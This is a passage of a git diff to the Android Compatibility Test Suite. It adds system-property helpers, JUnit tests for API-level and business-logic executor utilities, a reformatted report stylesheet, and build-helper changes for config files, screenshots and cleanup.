+ if (matcher.find()) {
+ String name = matcher.group(1);
+ String value = matcher.group(2);
+ if (name.contains("client_id")) {
+ clientIds.put(name, value); // only add name-value pair for client ids
+ }
+ }
+ }
+ return clientIds;
+ }
+
+ /** Returns whether the property exists on this device */
+ public static boolean propertyExists(String property) {
+ return getProperty(property) != null;
+ }
+
+ /** Returns whether the property value is equal to a given string */
+ public static boolean propertyEquals(String property, String value) {
+ if (value == null) {
+ return !propertyExists(property); // null value implies property does not exist
+ }
+ return value.equals(getProperty(property));
+ }
+
+ /**
* Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
*/
public static int getPropertyInt(String property) {
+ String value = getProperty(property);
+ if (value == null) {
+ return INT_VALUE_IF_UNSET;
+ }
+ try {
+ return Integer.parseInt(value);
+ } catch (NumberFormatException e) {
+ return INT_VALUE_IF_UNSET;
+ }
+ }
+
+ /** Retrieves the desired property value in string form */
+ public static String getProperty(String property) {
Scanner scanner = null;
- int val = INT_VALUE_IF_UNSET;
try {
Process process = new ProcessBuilder("getprop", property).start();
scanner = new Scanner(process.getInputStream());
- val = Integer.parseInt(scanner.nextLine().trim());
- } catch (IOException | NumberFormatException e) {
- return val = INT_VALUE_IF_UNSET;
+ String value = scanner.nextLine().trim();
+ return (value.isEmpty()) ? null : value;
+ } catch (IOException e) {
+ return null;
} finally {
if (scanner != null) {
scanner.close();
}
}
- return val;
}
}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
new file mode 100644
index 0000000..13305c3
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.os.Build;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@line ApiLevelUtil}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ApiLevelUtilTest {
+
+ @Test
+ public void testComparisonByInt() throws Exception {
+ int version = Build.VERSION.SDK_INT;
+
+ assertFalse(ApiLevelUtil.isBefore(version - 1));
+ assertFalse(ApiLevelUtil.isBefore(version));
+ assertTrue(ApiLevelUtil.isBefore(version + 1));
+
+ assertTrue(ApiLevelUtil.isAfter(version - 1));
+ assertFalse(ApiLevelUtil.isAfter(version));
+ assertFalse(ApiLevelUtil.isAfter(version + 1));
+
+ assertTrue(ApiLevelUtil.isAtLeast(version - 1));
+ assertTrue(ApiLevelUtil.isAtLeast(version));
+ assertFalse(ApiLevelUtil.isAtLeast(version + 1));
+
+ assertFalse(ApiLevelUtil.isAtMost(version - 1));
+ assertTrue(ApiLevelUtil.isAtMost(version));
+ assertTrue(ApiLevelUtil.isAtMost(version + 1));
+ }
+
+ @Test
+ public void testComparisonByString() throws Exception {
+ // test should pass as long as device SDK version is at least 12
+ assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
+ assertTrue(ApiLevelUtil.isAtLeast("12"));
+ }
+
+ @Test
+ public void testResolveVersionString() throws Exception {
+ // can only test versions known to the device build
+ assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
+ assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
+ assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
+ assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
+ assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
+ assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testResolveMisspelledVersionString() throws Exception {
+ ApiLevelUtil.resolveVersionString("GINGERBEARD");
+ }
+}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
new file mode 100644
index 0000000..f24d11d
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@line BusinessLogicDeviceExecutor}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicDeviceExecutorTest {
+
+ private static final String THIS_CLASS =
+ "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
+ private static final String METHOD_1 = THIS_CLASS + ".method1";
+ private static final String METHOD_2 = THIS_CLASS + ".method2";
+ private static final String METHOD_3 = THIS_CLASS + ".method3";
+ private static final String METHOD_4 = THIS_CLASS + ".method4";
+ private static final String METHOD_5 = THIS_CLASS + ".method5";
+ private static final String METHOD_6 = THIS_CLASS + ".method6";
+ private static final String METHOD_7 = THIS_CLASS + ".method7";
+ private static final String METHOD_8 = THIS_CLASS + ".method8";
+ private static final String METHOD_9 = THIS_CLASS + ".method9";
+ private static final String METHOD_10 = THIS_CLASS + ".method10";
+ private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+ private static final String ARG_STRING_1 = "arg1";
+ private static final String ARG_STRING_2 = "arg2";
+
+ private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+ private String mInvoked = null;
+ private Object[] mArgsUsed = null;
+ private Context mContext;
+ private BusinessLogicExecutor mExecutor;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
+ // reset the instance variables tracking the method invoked and the args used
+ mInvoked = null;
+ mArgsUsed = null;
+ // reset the OtherClass class variable tracking the method invoked
+ OtherClass.otherInvoked = null;
+ }
+
+ @Test
+ public void testInvokeMethodInThisClass() throws Exception {
+ mExecutor.invokeMethod(METHOD_1);
+ // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodInOtherClass() throws Exception {
+ mExecutor.invokeMethod(OTHER_METHOD_1);
+ // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+ assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+ OTHER_METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndContextArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+ // assert that String arg and Context arg were correctly set for method3
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+ }
+
+ @Test
+ public void testInvokeMethodWithContextAndStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+ // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
+ assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert both String arguments were correctly set for method5
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert no String arguments were set for method5
+ assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+ // assert both String arguments were correctly set for method6
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithAllArgTypes() throws Exception {
+ mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+ // assert all arguments were correctly set for method7
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+ assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodOneArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeNonExistentMethod() throws Exception {
+ mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooManyArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooFewArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodIncompatibleArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+ }
+
+ @Test
+ public void testExecuteConditionCheckReturnValue() throws Exception {
+ assertTrue("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+ assertFalse("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteInvalidCondition() throws Exception {
+ mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+ }
+
+ @Test
+ public void testExecuteAction() throws Exception {
+ mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteActionThrowException() throws Exception {
+ mExecutor.executeAction(METHOD_9);
+ }
+
+ @Test
+ public void testExecuteActionViolateAssumption() throws Exception {
+ try {
+ mExecutor.executeAction(METHOD_10);
+ // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+ // attribute on @Test annotation, so test using Assert.fail()
+ fail("Expected assumption failure");
+ } catch (AssumptionViolatedException e) {
+ // expected
+ }
+ }
+
+ public void method1() {
+ mInvoked = METHOD_1;
+ }
+
+ // overloaded method with one arg
+ public void method1(String arg1) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1};
+ }
+
+ // overloaded method with two args
+ public void method1(String arg1, String arg2) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public boolean method2(String arg1, String arg2) {
+ mInvoked = METHOD_2;
+ mArgsUsed = new Object[]{arg1, arg2};
+ return arg1.equals(arg2);
+ }
+
+ public void method3(String arg1, Context arg2) {
+ mInvoked = METHOD_3;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ // Same as method3, but flipped args
+ public void method4(Context arg1, String arg2) {
+ mInvoked = METHOD_4;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public void method5(String... args) {
+ mInvoked = METHOD_5;
+ mArgsUsed = args;
+ }
+
+ public void method6(String arg1, String... moreArgs) {
+ mInvoked = METHOD_6;
+ List<String> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new String[0]);
+ }
+
+ public void method7(String arg1, Context arg2, String... moreArgs) {
+ mInvoked = METHOD_7;
+ List<Object> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.add(arg2);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new Object[0]);
+ }
+
+ public void method8(String arg1, Integer arg2) {
+ // This method should never be successfully invoked, since Integer parameter types are
+ // unsupported for the BusinessLogic service
+ }
+
+ // throw AssertionFailedError
+ public void method9() throws AssertionFailedError {
+ assertTrue(false);
+ }
+
+ // throw AssumptionViolatedException
+ public void method10() throws AssumptionViolatedException {
+ assumeTrue(false);
+ }
+
+ public static class OtherClass {
+
+ public static String otherInvoked = null;
+
+ public void method1() {
+ otherInvoked = OTHER_METHOD_1;
+ }
+ }
+}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
new file mode 100644
index 0000000..ad4acbb
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Tests for {@line BusinessLogicTestCase}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicTestCaseTest {
+
+ private static final String KEY_1 = "key1";
+ private static final String KEY_2 = "key2";
+ private static final String VALUE_1 = "value1";
+ private static final String VALUE_2 = "value2";
+
+ DummyTest mDummyTest;
+ DummyTest mOtherDummyTest;
+
+ @Before
+ public void setUp() {
+ mDummyTest = new DummyTest();
+ mOtherDummyTest = new DummyTest();
+ }
+
+ @Test
+ public void testMapPut() throws Exception {
+ mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
+ assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
+ assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
+ assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
+ }
+
+ @Test
+ public void testStaticMapPut() throws Exception {
+ mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
+ assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
+ assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
+ assertTrue("mapPut on static map should affect all instances",
+ mOtherDummyTest.staticMap.containsKey(KEY_2));
+ }
+
+ public static class DummyTest extends BusinessLogicTestCase {
+ public Map<String, String> instanceMap = new HashMap<>();
+ public static Map<String, String> staticMap = new HashMap<>();
+ }
+}
diff --git a/common/host-side/tradefed/res/report/compatibility_result.css b/common/host-side/tradefed/res/report/compatibility_result.css
index 03032ed..991055a 100644
--- a/common/host-side/tradefed/res/report/compatibility_result.css
+++ b/common/host-side/tradefed/res/report/compatibility_result.css
@@ -14,170 +14,159 @@
*/
body {
- font-family:arial,sans-serif;
- color:#000;
- font-size:13px;
- color:#333;
- padding:10;
- margin:10;
+ color: #333;
+ font-family: arial,sans-serif;
+ font-size: 13px;
+ margin: 10;
+ padding: 10;
}
/* Report logo and device name */
table.title {
- padding:5px;
- border-width: 0px;
- margin-left:auto;
- margin-right:auto;
- vertical-align:middle;
+ border-width: 0;
+ margin-left: auto;
+ margin-right: auto;
+ padding: 5px;
+ vertical-align: middle;
}
table.summary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border: 0px solid #A5C639;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border: 0 solid #a5c639;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.summary th {
- background-color: #A5C639;
- font-size: 1.2em;
- padding: 0.5em;
+ background-color: #a5c639;
+ font-size: 1.2em;
+ padding: .5em;
}
table.summary td {
- border-width: 0px 0px 0px 0px;
- border-color: gray;
- border-style: inset;
- font-size: 1em;
- padding: 0.5em;
- vertical-align: top;
+ border: 0 inset #808080;
+ font-size: 1em;
+ padding: .5em;
+ vertical-align: top;
}
table.testsummary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.testsummary th {
- background-color: #A5C639;
- border: 1px outset gray;
- padding: 0.5em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ padding: .5em;
}
table.testsummary td {
- border: 1px outset #A5C639;
- padding: 0.5em;
- text-align: center;
+ border: 1px outset #a5c639;
+ padding: .5em;
+ text-align: center;
}
table.testdetails {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border-width:1;
- border-color: #A5C639;
- margin-left:auto;
- margin-right:auto;
- margin-bottom: 2em;
- vertical-align: top;
- width: 95%;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ border-color: #a5c639;
+ border-width: 1;
+ margin-bottom: 2em;
+ margin-left: auto;
+ margin-right: auto;
+ vertical-align: top;
+ width: 95%;
}
table.testdetails th {
- background-color: #A5C639;
- border-width: 1px;
- border-color: gray;
- border-style: outset;
- height: 2em;
- padding: 0.2em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ height: 2em;
+ padding: .2em;
}
table.testdetails td {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding: 0.2em;
+ border: 1px outset #a5c639;
+ padding: .2em;
+ text-align: left;
+ vertical-align: top;
}
table.testdetails td.module {
- background-color: white;
- border: 0px;
- font-weight: bold;
+ background-color: #fff;
+ border: 0;
+ font-weight: bold;
}
table.incompletemodules {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.incompletemodules th {
- background-color: #A5C639;
- border: 1px outset gray;
- padding: 0.5em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ padding: .5em;
}
table.incompletemodules td {
- border: 1px outset #A5C639;
- padding: 0.5em;
- text-align: center;
+ border: 1px outset #a5c639;
+ padding: .5em;
+ text-align: center;
}
/* Test cell details */
td.failed {
- background-color: #FA5858;
- font-weight:bold;
- vertical-align: top;
- text-align: center;
+ background-color: #fa5858;
+ font-weight: bold;
+ text-align: center;
+ vertical-align: top;
}
td.failuredetails {
- text-align: left;
+ text-align: left;
}
td.pass {
- text-align: center;
- margin-left:auto;
- margin-right:auto;
+ margin-left: auto;
+ margin-right: auto;
+ text-align: center;
}
td.not_executed {
- background-color: #A5C639;
- vertical-align: top;
- text-align: center;
+ background-color: #a5c639;
+ text-align: center;
+ vertical-align: top;
}
td.testname {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
+ border: 1px outset #a5c639;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
td.testcase {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
- font-weight:bold;
+ border: 1px outset #a5c639;
+ font-weight: bold;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
div.details {
- white-space: pre-wrap; /* css-3 */
- white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
- white-space: -pre-wrap; /* Opera 4-6 */
- white-space: -o-pre-wrap; /* Opera 7 */
- word-wrap: break-word; /* Internet Explorer 5.5+ */
- overflow:auto;
+ overflow: auto;
+ white-space: pre-wrap; /* css-3 */
+ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
+ white-space: -pre-wrap; /* Opera 4-6 */
+ white-space: -o-pre-wrap; /* Opera 7 */
+ word-wrap: break-word; /* Internet Explorer 5.5+ */
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 4eb0843..50d1c3a 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -15,9 +15,9 @@
*/
package com.android.compatibility.common.tradefed.build;
-import com.android.compatibility.common.util.DynamicConfigHostSide;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.build.IFolderBuildInfo;
+import com.android.tradefed.build.VersionedFile;
import com.android.tradefed.util.FileUtil;
import java.io.File;
@@ -44,9 +44,13 @@
private static final String ROOT_DIR2 = "ROOT_DIR2";
private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
+ private static final String BUSINESS_LOGIC_HOST_FILE = "BUSINESS_LOGIC_HOST_FILE";
private static final String RETRY_COMMAND_LINE_ARGS = "retry_command_line_args";
private static final String ALT_HOST_TESTCASE_DIR = "ANDROID_HOST_OUT_TESTCASES";
private static final String ALT_TARGET_TESTCASE_DIR = "ANDROID_TARGET_OUT_TESTCASES";
+
+ private static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
+
private final IBuildInfo mBuildInfo;
/**
@@ -107,26 +111,52 @@
}
public void addDynamicConfigFile(String moduleName, File configFile) {
- mBuildInfo.addBuildAttribute(DynamicConfigHostSide.CONFIG_PATH_PREFIX + moduleName,
- configFile.getAbsolutePath());
+ // If invocation fails and ResultReporter never moves this file into the result,
+ // using setFile() ensures BuildInfo will delete upon cleanUp().
+ mBuildInfo.setFile(configFile.getName(), configFile,
+ CONFIG_PATH_PREFIX + moduleName /* version */);
+ }
+
+ public void setBusinessLogicHostFile(File hostFile) {
+ mBuildInfo.addBuildAttribute(BUSINESS_LOGIC_HOST_FILE, hostFile.getAbsolutePath());
}
public void setModuleIds(String[] moduleIds) {
mBuildInfo.addBuildAttribute(MODULE_IDS, String.join(",", moduleIds));
}
+ /**
+ * Returns the map of the dynamic config files downloaded.
+ */
public Map<String, File> getDynamicConfigFiles() {
Map<String, File> configMap = new HashMap<>();
- for (String key : mBuildInfo.getBuildAttributes().keySet()) {
- if (key.startsWith(DynamicConfigHostSide.CONFIG_PATH_PREFIX)) {
- configMap.put(key.substring(DynamicConfigHostSide.CONFIG_PATH_PREFIX.length()),
- new File(mBuildInfo.getBuildAttributes().get(key)));
+ for (VersionedFile vFile : mBuildInfo.getFiles()) {
+ if (vFile.getVersion().startsWith(CONFIG_PATH_PREFIX)) {
+ configMap.put(
+ vFile.getVersion().substring(CONFIG_PATH_PREFIX.length()),
+ vFile.getFile());
}
}
return configMap;
}
/**
+ * @return whether the business logic file has been set for this invocation.
+ */
+ public boolean hasBusinessLogicHostFile() {
+ return mBuildInfo.getBuildAttributes().get(BUSINESS_LOGIC_HOST_FILE) != null;
+ }
+
+ /**
+ * @return a {@link File} representing the file containing business logic data for this
+ * invocation, or null if the business logic file has not been set.
+ */
+ public File getBusinessLogicHostFile() {
+ return (hasBusinessLogicHostFile()) ?
+ new File(mBuildInfo.getBuildAttributes().get(BUSINESS_LOGIC_HOST_FILE)) : null;
+ }
+
+ /**
* @return a {@link File} representing the directory holding the Compatibility installation
* @throws FileNotFoundException if the directory does not exist
*/
@@ -202,6 +232,18 @@
}
/**
+ * @return a {@link File} representing the directory to store screenshots taken while testing.
+ * @throws FileNotFoundException if the directory structure is not valid.
+ */
+ public File getScreenshotsDir() throws FileNotFoundException {
+ File screenshotsDir = new File(getResultDir(), "screenshots");
+ if (!screenshotsDir.exists()) {
+ screenshotsDir.mkdirs();
+ }
+ return screenshotsDir;
+ }
+
+ /**
* @return a {@link File} representing the test modules directory.
* @throws FileNotFoundException if the directory structure is not valid.
*/
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
index 722d55a..3654d78 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.build;
import com.android.annotations.VisibleForTesting;
-import com.android.compatibility.SuiteInfo;
import com.android.tradefed.build.BuildInfo;
import com.android.tradefed.build.BuildRetrievalError;
import com.android.tradefed.build.DeviceBuildInfo;
@@ -24,11 +23,14 @@
import com.android.tradefed.build.IBuildProvider;
import com.android.tradefed.build.IDeviceBuildInfo;
import com.android.tradefed.build.IDeviceBuildProvider;
+import com.android.tradefed.build.VersionedFile;
import com.android.tradefed.config.Option;
import com.android.tradefed.config.Option.Importance;
import com.android.tradefed.config.OptionClass;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.FileUtil;
import java.io.File;
import java.text.SimpleDateFormat;
@@ -171,7 +173,17 @@
*/
@Override
public void cleanUp(IBuildInfo info) {
- // ignore
+ // Everything should have been copied properly to result folder, we clean up
+ if (info instanceof IDeviceBuildInfo) {
+ for (VersionedFile f : info.getFiles()) {
+ // do not delete the testsdir since it's the real CTS folder.
+ if (!f.getFile().equals(((IDeviceBuildInfo) info).getTestsDir())) {
+ FileUtil.recursiveDelete(f.getFile());
+ }
+ }
+ } else {
+ info.cleanUp();
+ }
}
private void addCompatibilitySuiteInfo(IBuildInfo info) {
@@ -218,28 +230,28 @@
* Return the SuiteInfo name generated at build time. Exposed for testing.
*/
protected String getSuiteInfoName() {
- return SuiteInfo.NAME;
+ return TestSuiteInfo.getInstance().getName();
}
/**
* Return the SuiteInfo build number generated at build time. Exposed for testing.
*/
protected String getSuiteInfoBuildNumber() {
- return SuiteInfo.BUILD_NUMBER;
+ return TestSuiteInfo.getInstance().getBuildNumber();
}
/**
